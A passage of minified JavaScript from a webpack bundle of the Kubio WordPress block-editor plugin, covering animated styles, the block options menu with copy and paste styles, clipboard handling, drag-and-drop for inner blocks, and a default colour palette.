m=["x","y","z"],f=/^(matrix|translate|scale|rotate|skew)/,g=/^(translate)/,h=/^(rotate|skew)/,v=(e,t)=>l.s.num(e)&&0!==e?e+t:e,O=(e,t)=>l.s.arr(e)?e.every((e=>O(e,t))):l.s.num(e)?e===t:parseFloat(e)===t;class k extends c.a{constructor(e){let{x:t,y:n,z:o}=e,r=i(e,m);const c=[],a=[];(t||n||o)&&(c.push([t||0,n||0,o||0]),a.push((e=>[`translate3d(${e.map((e=>v(e,"px"))).join(",")})`,O(e,0)]))),Object(l.l)(r,((e,t)=>{if("transform"===t)c.push([e||""]),a.push((e=>[e,""===e]));else if(f.test(t)){if(delete r[t],l.s.und(e))return;const n=g.test(t)?"px":h.test(t)?"deg":"";c.push(Object(l.y)(e)),a.push("rotate3d"===t?([e,t,o,r])=>[`rotate3d(${e},${t},${o},${v(r,n)})`,O(r,0)]:e=>[`${t}(${e.map((e=>v(e,n))).join(",")})`,O(e,t.startsWith("scale")?1:0)])}})),c.length&&(r.transform=new j(c,a)),super(r)}}class j extends l.a{constructor(e,t){super(),this._value=null,this.inputs=e,this.transforms=t}get(){return this._value||(this._value=this._get())}_get(){let e="",t=!0;return Object(l.k)(this.inputs,((n,o)=>{const r=Object(l.q)(n[0]),[c,i]=this.transforms[o](l.s.arr(r)?r:n.map(l.q));e+=" "+c,t=t&&i})),t?"none":e}observerAdded(e){1==e&&Object(l.k)(this.inputs,(e=>Object(l.k)(e,(e=>Object(l.r)(e)&&Object(l.c)(e,this)))))}observerRemoved(e){0==e&&Object(l.k)(this.inputs,(e=>Object(l.k)(e,(e=>Object(l.r)(e)&&Object(l.x)(e,this)))))}eventObserved(e){"change"==e.type&&(this._value=null),Object(l.d)(this,e)}}const _=["scrollTop","scrollLeft"];o.Globals.assign({batchedUpdates:r.unstable_batchedUpdates,createStringInterpolator:l.g,colors:l.e});const y=Object(c.d)(["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"],{applyAnimatedValues:function(e,t){if(!e.nodeType||!e.setAttribute)return!1;const n="filter"===e.nodeName||e.parentNode&&"filter"===e.parentNode.nodeName,o=t,{style:r,children:l,scrollTop:c,scrollLeft:b}=o,p=i(o,a),m=Object.values(p),f=Object.keys(p).map((t=>n||e.hasAttribute(t)?t:d[t]||(d[t]=t.replace(/([A-Z])/g,(e=>"-"+e.toLowerCase())))));void 0!==l&&(e.textContent=l);for(let t in r)if(r.hasOwnProperty(t)){const n=u(t,r[t]);s.test(t)?e.style.setProperty(t,n):e.style[t]=n}f.forEach(((t,n)=>{e.setAttribute(t,m[n])})),void 0!==c&&(e.scrollTop=c),void 0!==b&&(e.scrollLeft=b)},createAnimatedStyle:e=>new k(e),getComponentProps:e=>i(e,_)}).animated},function(e,t,n){"use strict";n.d(t,"a",(function(){return r}));const o=(e,t,n)=>(o,r)=>{let l,c;if("function"==typeof e?(l=e(o),c=e(r)):(l=o[e],c=r[e]),l>c)return"asc"===n?1:-1;if(c>l)return"asc"===n?-1:1;const i=t.findIndex((e=>e===o)),a=t.findIndex((e=>e===r));return i>a?1:a>i?-1:0};function r(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"asc";return e.concat().sort(o(t,e,n))}},function(e,t){!function(){e.exports=this.wp.shortcode}()},,,function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(12),c=n(3),i=n(7),a=n(422),s=n(1),u=n(72),d=n(11),b=n(190),p=n(69),m=n(14);const f="__experimentalBorder",g="color",h="typography.__experimentalFontFamily",v="typography.fontSize",O=["typography.lineHeight",v,"typography.__experimentalFontStyle","typography.__experimentalFontWeight",h,"typography.__experimentalTextDecoration","typography.__experimentalTextTransform","typography.__experimentalLetterSpacing",f,g,"spacing"],k={align:e=>Object(l.hasBlockSupport)(e,"align"),borderColor:e=>function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"any";if("web"!==r.Platform.OS)return!1;const n=Object(l.getBlockSupport)(e,f);return!(!0!==n&&!("any"===t?null!=n&&n.color||null!=n&&n.radius||null!=n&&n.width||null!=n&&n.style:null!=n&&n[t]))}(e,"color"),backgroundColor:e=>{const t=Object(l.getBlockSupport)(e,g);return t&&!1!==t.background},textColor:e=>{const t=Object(l.getBlockSupport)(e,g);return t&&!1!==t.text},gradient:e=>{const t=Object(l.getBlockSupport)(e,g);return null!==t&&"object"==typeof t&&!!t.gradients},className:e=>Object(l.hasBlockSupport)(e,"customClassName",!0),fontFamily:e=>Object(l.hasBlockSupport)(e,h),fontSize:e=>Object(l.hasBlockSupport)(e,v),layout:e=>Object(l.hasBlockSupport)(e,"__experimentalLayout"),style:e=>O.some((t=>Object(l.hasBlockSupport)(e,t)))};function j(e,t){return Object.entries(k).reduce(((n,o)=>{let[r,l]=o;return l(e.name)&&l(t.name)&&(n[r]=e.attributes[r]),n}),{})}function _(e,t,n){for(let o=0;o<Math.min(t.length,e.length);o+=1)n(e[o].clientId,j(t[o],e[o])),_(e[o].innerBlocks,t[o].innerBlocks,n)}function y(e){let{clientIds:t,children:n,__experimentalUpdateSelection:o}=e;const{canInsertBlockType:c,getBlockRootClientId:a,getBlocksByClientId:u,canMoveBlocks:d,canRemoveBlocks:f}=Object(i.useSelect)(m.a),{getDefaultBlockName:g,getGroupingBlockName:h}=Object(i.useSelect)(l.store),v=u(t),O=a(t[0]),k=v.every((e=>!!e&&Object(l.hasBlockSupport)(e.name,"multiple",!0)&&c(e.name,O))),j=c(g(),O),y=d(t,O),E=f(t,O),{removeBlocks:S,replaceBlocks:C,duplicateBlocks:w,insertAfterBlock:B,insertBeforeBlock:I,flashBlock:x,setBlockMovingClientId:T,setNavigationMode:N,selectBlock:M,clearSelectedBlock:P,multiSelect:L}=Object(i.useDispatch)(m.a),R=Object(b.c)(),A=function(){const e=Object(i.useRegistry)(),{updateBlockAttributes:t}=Object(i.useDispatch)(m.a),{createSuccessNotice:n,createWarningNotice:o,createErrorNotice:c}=Object(i.useDispatch)(p.store);return Object(r.useCallback)((async r=>{let i="";try{if(!window.navigator.clipboard)return void c(Object(s.__)("Unable to paste styles. This feature is only available on secure (https) sites in supporting browsers.","kubio"),{type:"snackbar"});i=await window.navigator.clipboard.readText()}catch(e){return void c(Object(s.__)("Unable to paste styles. Please allow browser clipboard permissions before continuing.","kubio"),{type:"snackbar"})}if(!i||!function(e){try{const t=Object(l.parse)(e,{__unstableSkipMigrationLogs:!0,__unstableSkipAutop:!0});return 1!==t.length||"core/freeform"!==t[0].name}catch(e){return!1}}(i))return void o(Object(s.__)("Unable to paste styles. Block styles couldn't be found within the copied content.","kubio"),{type:"snackbar"});const a=Object(l.parse)(i);if(1===a.length?e.batch((()=>{_(r,r.map((()=>a[0])),t)})):e.batch((()=>{_(r,a,t)})),1===r.length){var u;const e=null===(u=Object(l.getBlockType)(r[0].name))||void 0===u?void 0:u.title;n(Object(s.sprintf)(// Translators: Name of the block being pasted, e.g. "Paragraph".
Object(s.__)("Pasted styles to %s.","kubio"),e),{type:"snackbar"})}else n(Object(s.sprintf)(// Translators: The number of the blocks.
Object(s.__)("Pasted styles to %d blocks.","kubio"),r.length),{type:"snackbar"})}),[e.batch,t,n,o,c])}();return n({canDuplicate:k,canInsertDefaultBlock:j,canMove:y,canRemove:E,rootClientId:O,blocks:v,onDuplicate:()=>w(t,o),onRemove:()=>S(t,o),onInsertBefore(){const e=Array.isArray(t)?t[0]:e;I(e)},onInsertAfter(){const e=Array.isArray(t)?t[t.length-1]:e;B(e)},onMoveTo(){N(!0),M(t[0]),T(t[0])},onGroup(){if(!v.length)return;const e=h(),n=Object(l.switchToBlockType)(v,e);n&&C(t,n)},onUngroup(){if(!v.length)return;const e=v[0].innerBlocks;e.length&&C(t,e)},onCopy(){const e=v.map((e=>{let{clientId:t}=e;return t}));1===v.length&&x(e[0]),R("copy",e)},async onPasteStyles(){await A(v),P(),L(v[0].clientId,v[v.length-1].clientId)}})}var E=n(55);const S=()=>{};var C=Object(d.compose)([Object(i.withSelect)(((e,t)=>{let{clientId:n}=t;const{getBlock:o,getBlockMode:r,getSettings:c}=e(m.a),i=o(n),a=c().codeEditingEnabled;return{mode:r(n),blockType:i?Object(l.getBlockType)(i.name):null,isCodeEditingEnabled:a}})),Object(i.withDispatch)(((e,t)=>{let{onToggle:n=S,clientId:o}=t;return{onToggleMode(){e(m.a).toggleBlockMode(o),n()}}}))])((function(e){let{blockType:t,mode:n,onToggleMode:o,small:i=!1,isCodeEditingEnabled:a=!0}=e;if(!t||!Object(l.hasBlockSupport)(t,"html",!0)||!a)return null;const u="visual"===n?Object(s.__)("Edit as HTML","kubio"):Object(s.__)("Edit visually","kubio");return Object(r.createElement)(c.MenuItem,{onClick:o},!i&&u)})),w=Object(d.compose)(Object(i.withSelect)(((e,t)=>{let{clientId:n}=t;const o=e(m.a).getBlock(n);return{block:o,shouldRender:o&&"core/html"===o.name}})),Object(i.withDispatch)(((e,t)=>{let{block:n}=t;return{onClick:()=>e(m.a).replaceBlocks(n.clientId,Object(l.rawHandler)({HTML:Object(l.getBlockContent)(n)}))}})))((function(e){let{shouldRender:t,onClick:n,small:o}=e;if(!t)return null;const l=Object(s.__)("Convert to Blocks","kubio");return Object(r.createElement)(c.MenuItem,{onClick:n},!o&&l)})),B=n(226),I=n(227),x=n(94),T=n(172);const N=()=>{},M={className:"block-editor-block-settings-menu__popover",position:"bottom right",variant:"toolbar"};function P(e){let{blocks:t,onCopy:n,label:o}=e;const i=Object(d.useCopyToClipboard)((()=>Object(l.serialize)(t)),n),a=t.length>1?Object(s.__)("Copy blocks","kubio"):Object(s.__)("Copy block","kubio"),u=o||a;return Object(r.createElement)(c.MenuItem,{ref:i},u)}t.a=function(e){let{clientIds:t,__experimentalSelectBlock:n,children:b,__unstableDisplayLocation:p,...f}=e;const g=Array.isArray(t)?t:[t],h=g.length,v=g[0],{firstParentClientId:O,isDistractionFree:k,onlyBlock:j,parentBlockType:_,previousBlockClientId:S,nextBlockClientId:L,selectedBlockClientIds:R}=Object(i.useSelect)((e=>{const{getBlockCount:t,getBlockName:n,getBlockRootClientId:o,getPreviousBlockClientId:r,getNextBlockClientId:c,getSelectedBlockClientIds:i,getSettings:a,getBlockAttributes:s}=e(m.a),{getActiveBlockVariation:u}=e(l.store),d=o(v),b=d&&n(d);return{firstParentClientId:d,isDistractionFree:a().isDistractionFree,onlyBlock:1===t(d),parentBlockType:d&&(u(b,s(d))||Object(l.getBlockType)(b)),previousBlockClientId:r(v),nextBlockClientId:c(v),selectedBlockClientIds:i()}}),[v]),A=Object(i.useSelect)((e=>{const{getShortcutRepresentation:t}=e(u.store);return{duplicate:t("core/block-editor/duplicate"),remove:t("core/block-editor/remove"),insertAfter:t("core/block-editor/insert-after"),insertBefore:t("core/block-editor/insert-before")}}),[]),{selectBlock:D,toggleBlockHighlight:F}=Object(i.useDispatch)(m.a),z=Object(r.useCallback)(n?async e=>{const t=await e;t&&t[0]&&n(t[0])}:N,[n]),V=Object(x.a)({clientId:v,maximumLength:25}),H=Object(r.useCallback)(n?()=>{const e=S||L;e&&R.includes(v)&&!R.includes(e)&&n(e)}:N,[n,S,L,R]),G=Object(s.sprintf)(/* translators: %s: block name */Object(s.__)("Remove %s","kubio"),V),$=1===h?G:Object(s.__)("Remove blocks","kubio"),U=Object(r.useRef)(),{gestures:W}=Object(T.a)({ref:U,onChange(e){e&&k||F(O,e)}}),K=null==R?void 0:R.includes(O);return Object(r.createElement)(y,{clientIds:t,__experimentalUpdateSelection:!n},(e=>{let{canDuplicate:n,canInsertDefaultBlock:l,canMove:i,canRemove:u,onDuplicate:m,onInsertAfter:g,onInsertBefore:k,onRemove:j,onCopy:y,onPasteStyles:S,onMoveTo:x,blocks:T}=e;const N=!!T.find((e=>{var t;return null==e||null===(t=e.name)||void 0===t?void 0:t.startsWith("kubio/")}));return Object(r.createElement)(c.DropdownMenu,Object(o.a)({icon:a.a,label:Object(s.__)("Options","kubio"),className:"block-editor-block-settings-menu",popoverProps:M,noIcons:!0},f),(e=>{let{onClose:i}=e;return Object(r.createElement)(r.Fragment,null,Object(r.createElement)(c.MenuGroup,null,Object(r.createElement)(B.a.Slot,{fillProps:{onClose:i}}),!K&&!!O&&Object(r.createElement)(c.MenuItem,Object(o.a)({},W,{ref:U,icon:Object(r.createElement)(E.a,{icon:_.icon}),onClick:()=>D(O)}),Object(s.sprintf)(/* translators: %s: Name of the block's parent. */Object(s.__)("Select parent block (%s)","kubio"),_.title)),1===h&&Object(r.createElement)(w,{clientId:v}),n&&Object(r.createElement)(c.MenuItem,{onClick:Object(d.pipe)(i,m,z),shortcut:A.duplicate},Object(s.__)("Duplicate","kubio")),l&&Object(r.createElement)(r.Fragment,null,Object(r.createElement)(c.MenuItem,{onClick:Object(d.pipe)(i,k),shortcut:A.insertBefore},Object(s.__)("Insert before","kubio")),Object(r.createElement)(c.MenuItem,{onClick:Object(d.pipe)(i,g),shortcut:A.insertAfter},Object(s.__)("Insert after","kubio"))),1===h&&Object(r.createElement)(C,{clientId:v,onToggle:i})),!N&&Object(r.createElement)(c.MenuGroup,null,Object(r.createElement)(P,{blocks:T,onCopy:y,label:Object(s.__)("Copy styles","kubio")}),Object(r.createElement)(c.MenuItem,{onClick:S},Object(s.__)("Paste styles","kubio"))),Object(r.createElement)(I.a.Slot,{fillProps:{onClose:i},clientIds:t,__unstableDisplayLocation:p}),"function"==typeof b?b({onClose:i}):r.Children.map((e=>Object(r.cloneElement)(e,{onClose:i}))),u&&Object(r.createElement)(c.MenuGroup,null,Object(r.createElement)(c.MenuItem,{onClick:Object(d.pipe)(i,j,H),shortcut:A.remove},$)))}))}))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return r})),n.d(t,"b",(function(){return l}));var o=n(0);const r=Object(o.createContext)({refs:new Map,callbacks:new Map});function l(e){let{children:t}=e;const n=Object(o.useMemo)((()=>({refs:new Map,callbacks:new Map})),[]);return Object(o.createElement)(r.Provider,{value:n},t)}},,function(e,t,n){"use strict";var o=n(184);function r(){}function l(){}l.resetWarningCache=r,e.exports=function(){function e(e,t,n,r,l,c){if(c!==o){var i=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw i.name="Invariant Violation",i}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:l,resetWarningCache:r};return n.PropTypes=n,n}},function(e,t,n){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},,,,,,function(e,t,n){"use strict";n.d(t,"c",(function(){return b})),n.d(t,"b",(function(){return p}));var o=n(0),r=n(12),l=n(42),c=n(7),i=n(1),a=n(69),s=n(11),u=n(256),d=n(14);function b(){const{getBlockName:e}=Object(c.useSelect)(d.a),{getBlockType:t}=Object(c.useSelect)(r.store),{createSuccessNotice:n}=Object(c.useDispatch)(a.store);return Object(o.useCallback)(((o,r)=>{let l="";if(1===r.length){var c;const n=r[0],a=null===(c=t(e(n)))||void 0===c?void 0:c.title;l="copy"===o?Object(i.sprintf)(// Translators: Name of the block being copied, e.g. "Paragraph".
Object(i.__)('Copied "%s" to clipboard.',"kubio"),a):Object(i.sprintf)(// Translators: Name of the block being cut, e.g. "Paragraph".
Object(i.__)('Moved "%s" to clipboard.',"kubio"),a)}else l="copy"===o?Object(i.sprintf)(// Translators: %d: Number of blocks being copied.
Object(i._n)("Copied %d block to clipboard.","Copied %d blocks to clipboard.",r.length,"kubio"),r.length):Object(i.sprintf)(// Translators: %d: Number of blocks being cut.
Object(i._n)("Moved %d block to clipboard.","Moved %d blocks to clipboard.",r.length,"kubio"),r.length);n(l,{type:"snackbar"})}),[])}function p(){const{getBlocksByClientId:e,getSelectedBlockClientIds:t,hasMultiSelection:n,getSettings:o,__unstableIsFullySelected:i,__unstableIsSelectionCollapsed:a,__unstableIsSelectionMergeable:p,__unstableGetSelectedBlocksWithPartialSelection:m,canInsertBlockType:f}=Object(c.useSelect)(d.a),{flashBlock:g,removeBlocks:h,replaceBlocks:v,__unstableDeleteSelection:O,__unstableExpandSelection:k,insertBlocks:j}=Object(c.useDispatch)(d.a),_=b();return Object(s.useRefEffect)((c=>{function s(s){const d=t();if(0===d.length)return;if(!n()){const{target:e}=s,{ownerDocument:t}=e;if("copy"===s.type||"cut"===s.type?Object(l.documentHasUncollapsedSelection)(t):Object(l.documentHasSelection)(t))return}if(!c.contains(s.target.ownerDocument.activeElement))return;const b=s.defaultPrevented;s.preventDefault();const y=p(),E=a()||i(),S=!E&&!y;if("copy"===s.type||"cut"===s.type)if(1===d.length&&g(d[0]),S)k();else{let t;if(_(s.type,d),E)t=e(d);else{const[n,o]=m();t=[n,...e(d.slice(1,d.length-1)),o]}const n=s.clipboardData.getData("__unstableWrapperBlockName");n&&(t=Object(r.createBlock)(n,JSON.parse(s.clipboardData.getData("__unstableWrapperBlockAttributes")),t));const o=Object(r.serialize)(t);s.clipboardData.setData("text/plain",(C=(C=o).replace(/<br>/g,"\n"),Object(l.__unstableStripHTML)(C).trim().replace(/\n\n+/g,"\n\n"))),s.clipboardData.setData("text/html",o)}var C;if("cut"===s.type)E&&!S?h(d):O();else if("paste"===s.type){if(b)return;const{__experimentalCanUserUseUnfilteredHTML:e}=o(),{plainText:t,html:n,files:l}=Object(u.a)(s);let c=[];if(l.length){const e=Object(r.getBlockTransforms)("from");c=l.reduce(((t,n)=>{const o=Object(r.findTransform)(e,(e=>"files"===e.type&&e.isMatch([n])));return o&&t.push(o.transform([n])),t}),[]).flat()}else c=Object(r.pasteHandler)({HTML:n,plainText:t,mode:"BLOCKS",canUserUseUnfilteredHTML:e});if(1===d.length){const[e]=d;if(c.every((t=>f(t.name,e))))return void j(c,void 0,e)}v(d,c,c.length-1,-1)}}return c.ownerDocument.addEventListener("copy",s),c.ownerDocument.addEventListener("cut",s),c.ownerDocument.addEventListener("paste",s),()=>{c.ownerDocument.removeEventListener("copy",s),c.ownerDocument.removeEventListener("cut",s),c.ownerDocument.removeEventListener("paste",s)}}),[])}t.a=function(e){let{children:t}=e;return Object(o.createElement)("div",{ref:p()},t)}},,function(e,t,n){"use strict";n.d(t,"b",(function(){return z}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(11),a=n(7),s=n(12),u=n(140),d=n(68),b=Object(i.createHigherOrderComponent)((e=>t=>{const{clientId:n}=Object(d.c)();return Object(r.createElement)(e,Object(o.a)({},t,{clientId:n}))}),"withClientId"),p=b((e=>{let{clientId:t,showSeparator:n,isFloating:o,onAddBlock:l,isToggle:i}=e;return Object(r.createElement)(u.b,{className:c()({"block-list-appender__toggle":i}),rootClientId:t,showSeparator:n,isFloating:o,onAddBlock:l})})),m=n(162),f=n(14),g=Object(i.compose)([b,Object(a.withSelect)(((e,t)=>{let{clientId:n}=t;const{getBlockOrder:o}=e(f.a),r=o(n);return{lastBlockClientId:r[r.length-1]}}))])((e=>{let{clientId:t}=e;return Object(r.createElement)(m.a,{rootClientId:t})})),h=n(119),v=n.n(h),O=n(101);const k=new WeakMap;var j=n(199),_=n.n(j),y=n(70),E=n(159),S=n(251),C=n(1),w=n(75),B=n.n(w),I=n(135),x=n(71),T=n(173);const N=(e,t)=>t<e-20||t>e+20,M=()=>{top.requestIdleCallback((()=>{setTimeout((()=>top.document.body.classList.remove("kubio-dragging-from-inserter--active")),10)}))},P=e=>{e.ownerDocument.querySelectorAll(".kubio-is-hovered-on-drop").forEach((t=>{t.isSameNode(e)||t.classList.remove("is-hovered","kubio-is-hovered-on-drop")})),e.classList.add("is-hovered","kubio-is-hovered-on-drop")};var L=n(30);const R={};function A(e){const{clientId:t,allowedBlocks:n,__experimentalDefaultBlock:o,__experimentalDirectInsert:l,template:c,templateLock:i,wrapperRef:u,templateInsertUpdatesSelection:d,__experimentalCaptureToolbars:b,__experimentalAppenderTagName:p,renderAppender:m,orientation:g,placeholder:h,layout:j}=e;!function(e,t,n,o,l,c,i,s){const{updateBlockListSettings:u}=Object(a.useDispatch)(f.a),d=Object(a.useRegistry)(),{blockListSettings:b,parentLock:p}=Object(a.useSelect)((t=>{const n=t(f.a).getBlockRootClientId(e);return{blockListSettings:t(f.a).getBlockListSettings(e),parentLock:t(f.a).getTemplateLock(n)}}),[e]),m=Object(r.useMemo)((()=>t),t);Object(r.useLayoutEffect)((()=>{const t={allowedBlocks:m,templateLock:void 0===l||"contentOnly"===p?p:l};if(void 0!==c&&(t.__experimentalCaptureToolbars=c),void 0!==i)t.orientation=i;else{const e=Object(O.a)(null==s?void 0:s.type);t.orientation=e.getOrientation(s)}void 0!==n&&(t.__experimentalDefaultBlock=n),void 0!==o&&(t.__experimentalDirectInsert=o),v()(b,t)||(k.get(d)||k.set(d,[]),k.get(d).push([e,t]),window.queueMicrotask((()=>{var e;null!==(e=k.get(d))&&void 0!==e&&e.length&&d.batch((()=>{k.get(d).forEach((e=>{u(...e)})),k.set(d,[])}))})))}),[e,b,m,n,o,l,p,c,i,u,s,d])}(t,n,o,l,i,b,g,j),function(e,t,n,o){const{getBlocks:l,getSelectedBlocksInitialCaretPosition:c,isBlockSelected:i}=Object(a.useSelect)(f.a),{replaceInnerBlocks:u,__unstableMarkNextChangeAsNotPersistent:d}=Object(a.useDispatch)(f.a),{innerBlocks:b}=Object(a.useSelect)((t=>({innerBlocks:t(f.a).getBlocks(e)})),[e]),p=Object(r.useRef)(null);Object(r.useLayoutEffect)((()=>{let r=!1;return window.queueMicrotask((()=>{if(r)return;const a=l(e),b=0===a.length||"all"===n||"contentOnly"===n,m=!_()(t,p.current);if(!b||!m)return;p.current=t;const f=Object(s.synchronizeBlocksWithTemplate)(a,t);_()(f,a)||(d(),u(e,f,0===a.length&&o&&0!==f.length&&i(e),c()))})),()=>{r=!0}}),[b,t,n,e])}(t,c,i,d);const S=function(e){return Object(a.useSelect)((t=>{const n=t(f.a).getBlock(e);if(!n)return;const o=t(s.store).getBlockType(n.name);return o&&0!==Object.keys(o.providesContext).length?Object.fromEntries(Object.entries(o.providesContext).map((e=>{let[t,o]=e;return[t,n.attributes[o]]}))):void 0}),[e])}(t),C=Object(a.useSelect)((e=>{var n;return null===(n=e(f.a).getBlock(t))||void 0===n?void 0:n.name}),[t]),w=Object(s.getBlockSupport)(C,"__experimentalLayout")||R,{allowSizingOnChildren:B=!1}=w,I=Object(L.a)("layout")||R,x=j||w,T=Object(r.useMemo)((()=>({...I,...x,...B&&{allowSizingOnChildren:!0}})),[I,x,B]);return Object(r.createElement)(E.a,{value:S},Object(r.createElement)(y.a,{rootClientId:t,renderAppender:m,__experimentalAppenderTagName:p,__experimentalLayout:T,wrapperRef:u,placeholder:h}))}function D(e){return Object(S.a)(e),Object(r.createElement)(A,e)}const F=Object(r.forwardRef)(((e,t)=>{const n=z({ref:t},e);return Object(r.createElement)("div",{className:"block-editor-inner-blocks"},Object(r.createElement)("div",n))}));function z(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const{__unstableDisableLayoutClassNames:n,__unstableDisableDropZone:l}=t,{clientId:u,layout:b=null,__unstableLayoutClassNames:p=""}=Object(d.c)(),m=Object(i.useViewportMatch)("medium","<"),{__experimentalCaptureToolbars:g,hasOverlay:h}=Object(a.useSelect)((e=>{if(!u)return{};const{getBlockName:t,isBlockSelected:n,hasSelectedInnerBlock:o,__unstableGetEditorMode:r}=e(f.a),l=t(u),c="navigation"===r()||m;return{__experimentalCaptureToolbars:e(s.store).hasBlockSupport(l,"__experimentalExposeControlsToChildren",!1),hasOverlay:"core/template"!==l&&!n(u)&&!o(u,!0)&&c}}),[u,m]),v=function(){let{rootClientId:e=""}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const[t,n]=Object(r.useState)(null),o=Object(r.useRef)(null),l=Object(r.useRef)(null);l.current=e;const{isLockedAll:c,orientation:s,noDragInside:u,canInsert:d,isInsertionPointVisible:b}=Object(a.useSelect)((t=>{var n;const{getBlockListSettings:o,getTemplateLock:r,getBlock:l,canInsertBlockType:c,isBlockInsertionPointVisible:i}=t(f.a),{getBlockType:a}=t("core/blocks"),s=l(e),u=a(null==s?void 0:s.name);return{isLockedAll:"all"===r(e),orientation:null===(n=o(e))||void 0===n?void 0:n.orientation,noDragInside:!!e&&(null==u?void 0:u.innerBlocksDisableInBetweenInserter),canInsert:c,isInsertionPointVisible:i}}),[e]),{showInsertionPoint:p,hideInsertionPoint:m}=Object(a.useDispatch)(f.a),g=()=>{o.current&&b&&(m(),o.current=null)},h=Object(x.a)(e),v=Object(r.useCallback)(B()(d),[]),O=Object(r.useCallback)((()=>{var e,t;return((null===(e=window.kubioDraggingData)||void 0===e||null===(t=e.blocks)||void 0===t?void 0:t.map((e=>{let{name:t}=e;return t})))||[]).map((e=>v(e,l.current))).reduce(((e,t)=>e&&t),!0)}),[]),k=Object(T.a)(e,t),j=Object(r.useCallback)((e=>(e.target.ownerDocument.querySelectorAll(".kubio-is-hovered-on-drop").forEach((e=>{e.classList.remove("kubio-is-hovered-on-drop")})),k(e))),[k]),_=Object(i.useThrottle)(Object(r.useCallback)(((t,r)=>{if(!h||!O())return;const l=function(e,t,n){const o="horizontal"===n?["left","right"]:["top","bottom"],r=Object(C.isRTL)();let l,c;return e.forEach(((n,i)=>{const a=n.getBoundingClientRect(),[s,u]=Object(I.a)(t,a,o);if(void 0===c||s<c){const t="bottom"===u||!r&&"right"===u||r&&"left"===u;let n=t?1:0;n+=t&&e[i+1]&&e[i+1].classList.contains("is-dragging")?1:0,c=s,l=i+n}})),l}(Array.from(r.children).filter((e=>e.classList.contains("wp-block")||e.querySelector(".wp-block"))),{x:t.clientX,y:t.clientY},s),c=void 0===l?0:l;var i;n(c),h&&null!==c&&(P(h),i=c,o.current!==e+i&&(o.current=e+i,p(e,i)))}),[h]),200),y=Object(i.useThrottle)(Object(r.useCallback)((()=>{h&&(O()?P(h):h.classList.remove("is-hovered","kubio-is-hovered-on-drop"))}),[h]),100),E=Object(r.useCallback)((e=>{var t,r,l;h&&null!=h&&null!==(t=h.classList)&&void 0!==t&&t.contains("kubio-is-hovered-on-drop")&&(null==h||h.classList.remove("is-hovered","kubio-is-hovered-on-drop"));const c=null==e||null===(r=e.target)||void 0===r||null===(l=r.closest)||void 0===l?void 0:l.call(r,".wp-block");c&&c.isSameNode(h)||o.current&&(_.cancel(),g(),n(null))}),[h]),S=Object(r.useRef)({x:0,y:0}),w=Object(r.useCallback)((e=>{var r;o.current=null,n(null),S.current={x:0,y:0},M(),o.current&&(y.cancel(),_.cancel(),g(),null!==t&&n(null),null==h||null===(r=h.classList)||void 0===r||r.remove("is-hovered","kubio-is-hovered-on-drop"))}),[h]),L=Object(r.useCallback)((()=>{M(),top.document.removeEventListener("dragend",L)}));return Object(i.__experimentalUseDropZone)({isDisabled:c||u,onDragStart:()=>{top.document.addEventListener("dragend",L)},onDrop:function(){M(),j(...arguments)},onDragOver(e){var t;null!==(t=e.currentTarget.closest(".wp-block"))&&void 0!==t&&t.isSameNode(h)&&(N(S.current.x,e.clientX)||N(S.current.y,e.clientY))&&(S.current={x:e.clientX,y:e.clientY},_(e,e.currentTarget))},onDragEnd:w,onDragEnter:y,onDragLeave:E})}({rootClientId:u}),O=Object(i.useMergeRefs)([e.ref,l?null:v]),k={__experimentalCaptureToolbars:g,layout:b,...t},j=k.value&&k.onChange?D:A;return{...e,ref:O,className:c()(e.className,"block-editor-block-list__layout",n?"":p,{"has-overlay":h}),children:u?Object(r.createElement)(j,Object(o.a)({},k,{clientId:u})):Object(r.createElement)(y.a,t)}}z.save=s.__unstableGetInnerBlocksProps,F.DefaultBlockAppender=g,F.ButtonBlockAppender=p,F.Content=()=>z.save().children,t.a=F},function(e,t,n){"use strict";n.d(t,"a",(function(){return r})),n.d(t,"b",(function(){return l}));var o=n(1);const r={insertUsage:{}},l={alignWide:!1,supportsLayout:!0,colors:[{name:Object(o.__)("Black","kubio"),slug:"black",color:"#000000"},{name:Object(o.__)("Cyan bluish gray","kubio"),slug:"cyan-bluish-gray",color:"#abb8c3"},{name:Object(o.__)("White","kubio"),slug:"white",color:"#ffffff"},{name:Object(o.__)("Pale pink","kubio"),slug:"pale-pink",color:"#f78da7"},{name:Object(o.__)("Vivid red","kubio"),slug:"vivid-red",color:"#cf2e2e"},{name:Object(o.__)("Luminous vivid orange","kubio"),slug:"luminous-vivid-orange",color:"#ff6900"},{name:Object(o.__)("Luminous vivid amber","kubio"),slug:"luminous-vivid-amber",color:"#fcb900"},{name:Object(o.__)("Light green cyan","kubio"),slug:"light-green-cyan",color:"#7bdcb5"},{name:Object(o.__)("Vivid green cyan","kubio"),slug:"vivid-green-cyan",color:"#00d084"},{name:Object(o.__)("Pale cyan 